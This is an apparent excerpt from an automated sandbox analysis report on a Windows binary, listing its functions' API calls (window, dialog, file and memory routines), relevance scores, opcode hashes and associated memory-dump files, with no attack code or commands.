Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CreateDebugDialogIndirectOutputParamString
String ID:
API String ID: 3066322445-0
Opcode ID: 6c6ae51ce5de6ea4dc3f5458d33e3677f0547f7c4d0c6e0a906974f3f3c1dd98
Instruction ID: 8a0093fca06e32e798bbfa06c224e627763479e220aef7f755646ebdb7e0622a
Opcode Fuzzy Hash: 6c6ae51ce5de6ea4dc3f5458d33e3677f0547f7c4d0c6e0a906974f3f3c1dd98
Instruction Fuzzy Hash: CF018C72910608EFDF10CF94DC09BAD7BB0FB08366F00852AF515A2195D7BAC965EF60

Function 008681CE Relevance: 1.5, APIs: 1, Instructions: 32libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00866FA8,?,00A26E68,00000010,00867FA9,?,00000000,00000060), ref: 0086820E

Part of subcall function 0086827B: OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 0086828F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: DebugLibraryLoadOutputString
String ID:
API String ID: 137895185-0
Opcode ID: 1537151d787f9517b5d008cdac67dbc2b03ca961c99a17d0e5cff74b98d7c64f
Instruction ID: 4663be1194ab81241ca7b9c82b9a3231cfae8743ced21b620ec6979f20bf3282
Opcode Fuzzy Hash: 1537151d787f9517b5d008cdac67dbc2b03ca961c99a17d0e5cff74b98d7c64f
Instruction Fuzzy Hash: 69F04972D10718EFDF10DFA8DC19BAD77B0FB04766F01462AE425A6290CB798945CB50

Function 0088571D Relevance: 1.5, APIs: 1, Instructions: 25windowCOMMON

Download Yara Rule

APIs

IsDialogMessageA.USER32(?,?), ref: 00885753

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: DialogMessage
String ID:
API String ID: 547518314-0
Opcode ID: 6467cb45a4c4f90632174a104489ff21a5f3d68b77ba95b5f5421da02adace76
Instruction ID: 0e658767cb2ee4f7cff5e503d3a2f1b224c0e28bb1df86066bd59715f5dc5521
Opcode Fuzzy Hash: 6467cb45a4c4f90632174a104489ff21a5f3d68b77ba95b5f5421da02adace76
Instruction Fuzzy Hash: 82E09236210614EBC7026B58D8488E9BB79FF48370B008066F98597720CBB0AD51EBC0

Function 00875F9A Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00863252,?), ref: 00875FCF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 11062c01db804f1478d2d7a051eb7305c143108c9bec19eb7cec7b30041cc41a
Instruction ID: e48fa808b4f2857fd2eb1e4053406b70a386a710677aa840d8fe8bb813d19672
Opcode Fuzzy Hash: 11062c01db804f1478d2d7a051eb7305c143108c9bec19eb7cec7b30041cc41a
Instruction Fuzzy Hash: 5FE09235200509FBC7054B55D808A99BF65FF45360F048026F84847620DB71A960DFD0

Function 0088015C Relevance: 1.5, APIs: 1, Instructions: 17windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,00000000,00000000,00000000), ref: 0088017A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 62a093bf14050aeb5d631593561eaac2775896cb7adbf4c6eddfe22a32021677
Instruction ID: 15cdce354c06d28a8944fa53caf629c52327b9cb34a29cf375af0e50f12e2cd5
Opcode Fuzzy Hash: 62a093bf14050aeb5d631593561eaac2775896cb7adbf4c6eddfe22a32021677
Instruction Fuzzy Hash: 71D067F2514208AFA741EF28DC4997677ADFB147247104669B858CF2A2D332ED52DA50

Function 00869764 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 00869784

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Malloc
String ID:
API String ID: 2696272793-0
Opcode ID: 60a03c25260bd94c3fea55932322012c80db6aa8a3d27d4f1ff7a98ee33e9a22
Instruction ID: aef660f52c937780287539b83b12e8a5b526e7b1b310788335ff076c09cfd251
Opcode Fuzzy Hash: 60a03c25260bd94c3fea55932322012c80db6aa8a3d27d4f1ff7a98ee33e9a22
Instruction Fuzzy Hash: 82E01730A257258FCB20EF54EC08B427AE8FB06765F11886AF1D5CB260E774A8428A84

Function 00877351 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000029,?,?,00000000), ref: 00877371

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: f2fe29c87813d370f84002ab08c43baac9feb0ba4609bf944e9873039cf05f63
Instruction ID: 466c97fbe76a021110cc7236ff5eb9f7c643053bdfbdfb6cc27deed9d4de8cc8
Opcode Fuzzy Hash: f2fe29c87813d370f84002ab08c43baac9feb0ba4609bf944e9873039cf05f63
Instruction Fuzzy Hash: 9BD05EB0208604EFE7048B40DC49B7577A8F742B05F508068E609CF390C6B16C00DF60

Function 009D1B5A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,009D1F50,?,?,00000000,?,009D1F50,00000000,0000000C), ref: 009D1B77

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e137543b9360a34a488ca61fa0d9f5245429254237d8e82f7ab72cee2e201bdb
Instruction ID: 7c7a1607ac8736442a6bb7f083f9a17ae5912bf965ce1dc48f70bb83faf51266
Opcode Fuzzy Hash: e137543b9360a34a488ca61fa0d9f5245429254237d8e82f7ab72cee2e201bdb
Instruction Fuzzy Hash: 32D06C3201014DBBDF028F84DD4AEDA3BAAFB48714F018100BA5856160C732E921AB90

Function 009B3FC4 Relevance: 1.5, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009B3FD7

Part of subcall function 009C26C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?), ref: 009C26DE
Part of subcall function 009C26C8: GetLastError.KERNEL32(00000000,?,009C2F36,00000000,00000000,00A43F78,00000000,00000007,000000FF,?,00866776,0087945F,00000000,?,?,00878A17), ref: 009C26F0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: aadc496672b04f7b8a0bae5714cb5bae19e4c543da9a865e90f55482f1750a0b
Instruction ID: 799e0c6d5b0d9cee726dc9ab96da6566d17d04d888c90b49b6523139e996d47e
Opcode Fuzzy Hash: aadc496672b04f7b8a0bae5714cb5bae19e4c543da9a865e90f55482f1750a0b
Instruction Fuzzy Hash: 4BC0123180520CBBCB10AB85E906B5ABBA8DB80320F200189F80807211DA72AE1096A5

Function 0087A307 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0087A316

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: 20ba280bc6fce6fa3c7f3dbcfd66bdc01ff039f77dc0df616a3e56cfd159371d
Instruction ID: a0e73b48a542709a80f6456e3d61818817b0317f186adaebe4822142243af7ed
Opcode Fuzzy Hash: 20ba280bc6fce6fa3c7f3dbcfd66bdc01ff039f77dc0df616a3e56cfd159371d
Instruction Fuzzy Hash: CCB09270815100ABCE44AF30CA8D32A3564AB9130AF14CC94A009CA209DAB9C5029512

Function 00866D8B Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,?,00866911,?), ref: 00866DBE

Part of subcall function 0086740F: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,?,00000000), ref: 0086741E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 649c07fd402a090bea7bed6047354d56f4d02cfb8944e4d765446ba2ccf4c367
Instruction ID: 31e398d452489faaa26ab49bb5783a7ba95d0157f63ed939f690be7d36cd6952
Opcode Fuzzy Hash: 649c07fd402a090bea7bed6047354d56f4d02cfb8944e4d765446ba2ccf4c367
Instruction Fuzzy Hash: 74F055323090383ADA20265DCC05FBE3A4EFF807A1F264126B604EA2C0CD614C2182F6

Function 0086740F Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,?,00000000), ref: 0086741E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: d65efdfbe49ad32ece6c810c0bae92c72464b17abfa7a917c39aacc7ca95d8ae
Instruction ID: a8c24ef295d67179330947c00d82e71da57eaf3dcdfd0451302e14b5b9a01dac
Opcode Fuzzy Hash: d65efdfbe49ad32ece6c810c0bae92c72464b17abfa7a917c39aacc7ca95d8ae
Instruction Fuzzy Hash: 02C092B525C20D7EFE012AE4AC09F773B5CE710B70F908754BE2CCA1E0D9A19E1066B1

Non-executed Functions

Function 008D86D8 Relevance: 15.5, APIs: 10, Instructions: 505keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 008D8738
GetAsyncKeyState.USER32(00000011), ref: 008D879C
SendMessageA.USER32(?,00000100,00000024,00000000), ref: 008D887C
IsRectEmpty.USER32(?), ref: 008D8910
IsRectEmpty.USER32(?), ref: 008D89FB
SendMessageA.USER32(?,00000362,0000E001,00000000), ref: 008D8BC3
GetClientRect.USER32(?,00000000), ref: 008D8C40
InvalidateRect.USER32(?,?,00000001), ref: 008D8C70
InvalidateRect.USER32(?,?,00000001), ref: 008D8C7F
UpdateWindow.USER32(?), ref: 008D8C88

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$EmptyInvalidateMessageSendState$AsyncClientUpdateWindow
String ID:
API String ID: 348497913-0
Opcode ID: 53a563a152be1f0b27e846a303a3a3426801d54be40e53462dd3c0997249bdce
Instruction ID: d8f52d615f326a4bf58767dec9dec2dd8bf0ef0aefc3c45b0b58b9a46497afa3
Opcode Fuzzy Hash: 53a563a152be1f0b27e846a303a3a3426801d54be40e53462dd3c0997249bdce
Instruction Fuzzy Hash: D1126771A10219EBDF159FA8C894BAD7BB5FF48310F18427AE805EB391DF709940DBA1

Function 0091E027 Relevance: 13.7, APIs: 9, Instructions: 166fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0091E031
GetFullPathNameA.KERNEL32(?,00000104,?,?,00000158,0091D911,?,?,00000000,?,00925521,00000024,?,?,?), ref: 0091E064
PathIsUNCA.SHLWAPI(?,?,?,00000000,?,00925521,00000024,?,?,?), ref: 0091E0DC
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00925521,00000024,?,?,?), ref: 0091E100
__cftof.LIBCMT ref: 0091E078

Part of subcall function 0091DFFA: GetLastError.KERNEL32(?,?,0091E111,?,?,?,00925521,00000024,?,?,?), ref: 0091E005

Part of subcall function 0091D98A: __cftof.LIBCMT ref: 0091D9AF
Part of subcall function 0091D98A: PathStripToRootA.SHLWAPI(00000000,00000000,?,00925521,00000024,?,?,?), ref: 0091D9BE

CharUpperA.USER32(?,?,00925521,00000024,?,?,?), ref: 0091E12E
FindFirstFileA.KERNEL32(?,?,?,00925521,00000024,?,?,?), ref: 0091E146
FindClose.KERNEL32(00000000,?,00925521,00000024,?,?,?), ref: 0091E152
_strlen.LIBCMT ref: 0091E171

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Path$Find__cftof$CharCloseErrorFileFirstFullH_prolog3_InformationLastNameRootStripUpperVolume_strlen
String ID:
API String ID: 2731638371-0
Opcode ID: e4a81b6a94e61e32537c7f302083b9b75e399b9881b174527710b250f668402a
Instruction ID: 6e5afa208cbac2df7f25743a353c79cbc8c7202f841c53e6ee5a9b20ace10efb
Opcode Fuzzy Hash: e4a81b6a94e61e32537c7f302083b9b75e399b9881b174527710b250f668402a
Instruction Fuzzy Hash: 20519571A0461CAFDB15EFA4CC8ABEEB37CFF84310F104599F815E6241DB749E858A61

Function 009B6896 Relevance: 6.1, APIs: 4, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,00000000), ref: 009B68BF
GetSystemInfo.KERNEL32(?,?,?,00000000), ref: 009B68D3
VirtualAlloc.KERNEL32(?,-00000001,00001000,00000004,?,?,?,00000000), ref: 009B6923
VirtualProtect.KERNEL32(?,-00000001,00000104,?,?,?,00000000), ref: 009B6938

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Virtual$AllocInfoProtectQuerySystem
String ID:
API String ID: 3562403962-0
Opcode ID: 21cf078c32b1a934ba24d50aa16723ea67a77a3e2cfaa38fbc5d6803fe73e00e
Instruction ID: 18c812febb8cfe48b53d90fda01d732b06829dd106686c85338d2e5c291ceebe
Opcode Fuzzy Hash: 21cf078c32b1a934ba24d50aa16723ea67a77a3e2cfaa38fbc5d6803fe73e00e
Instruction Fuzzy Hash: 32217773E00219ABDF20DBA9DD85AEFB7BCEB44760F054569E955EB140E634AD00CB90

Function 00882B33 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00882B3F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Iconic
String ID:
API String ID: 110040809-0
Opcode ID: 02242be2fbf9ea1e9da2d59fcf1965b561e1e65868d9f8d7c7db4b86d6d4ee43
Instruction ID: 98b7b7d1c80a275211524258ebc43bbea1e1a4de3a122833264bf51f9882d016
Opcode Fuzzy Hash: 02242be2fbf9ea1e9da2d59fcf1965b561e1e65868d9f8d7c7db4b86d6d4ee43
Instruction Fuzzy Hash: 17D01231216760CBC7356E6EE948BD2B3A4FB14725B00443FD4878B570D7A0ADC5D740

Function 008AA285 Relevance: 49.9, APIs: 33, Instructions: 438COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 008AA2BC
PtInRect.USER32(?,?,?), ref: 008AA2CC
GetClientRect.USER32(?,?), ref: 008AA2ED

Part of subcall function 0087A1C3: ClientToScreen.USER32(?,?), ref: 0087A1D2
Part of subcall function 0087A1C3: ClientToScreen.USER32(?,?), ref: 0087A1DF

PtInRect.USER32(?,?,?), ref: 008AA308
GetSystemMetrics.USER32(0000000D), ref: 008AA33C
GetSystemMetrics.USER32(0000000E), ref: 008AA34C
PtInRect.USER32(?,?,?), ref: 008AA38E
OffsetRect.USER32(?,?,?), ref: 008AA3E9
PtInRect.USER32(?,?,?), ref: 008AA3F9
SetRect.USER32(?,?,?,00000000,00000000), ref: 008AA4B0
PtInRect.USER32(?,?,?), ref: 008AA4C0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
